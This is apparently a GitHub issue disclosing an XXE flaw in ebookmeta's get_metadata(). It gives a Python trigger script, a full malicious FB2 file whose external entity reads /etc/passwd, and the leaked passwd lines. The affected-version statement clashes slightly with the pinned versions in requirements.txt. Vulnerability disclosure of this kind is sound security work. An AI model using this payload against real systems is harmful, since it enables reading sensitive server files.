xxe vulnerability in ebookmeta.get_metadata() #16

peri0d · 2024-05-26T13:24:04Z

I found that when the ebookmeta version is less than 1.2.8 and the lxml version is less than 4.9.1, the ebookmeta.get_metadata function will have an xxe vulnerability. An attacker could use this vulnerability to read sensitive information from the server.

Here is exp:

import ebookmeta
fp = "payload.fb2"
meta = ebookmeta.get_metadata(fp)
print(meta.title)

Then we can get the following

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

The content of payload.fb2 is as follows

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
    <title-info>
        <genre>antique</genre>
        <author><first-name></first-name><last-name>&xxe;</last-name></author>
        <book-title>&xxe;</book-title>
        <lang>&xxe;</lang>
    </title-info>
    <document-info>
        <author><first-name></first-name><last-name>Unknown</last-name></author>
        <program-used>calibre 6.13.0</program-used>
        <date>26.5.2024</date>
        <id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
        <version>1.0</version>
    </document-info>
    <publish-info>
    </publish-info>
</description>
<body>
<section>
<p>&lt;root&gt;</p>
<p>12345</p>
<p>&lt;/root&gt;</p>
</section>
</body>

</FictionBook>

requirements.txt content is as follows

Flask
ebookmeta==1.2.8
lxml==4.9.1

The text was updated successfully, but these errors were encountered:

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

xxe vulnerability in ebookmeta.get_metadata() #16

xxe vulnerability in ebookmeta.get_metadata() #16

peri0d commented May 26, 2024 •

edited

xxe vulnerability in ebookmeta.get_metadata() #16

xxe vulnerability in ebookmeta.get_metadata() #16

Comments

peri0d commented May 26, 2024 • edited

peri0d commented May 26, 2024 •

edited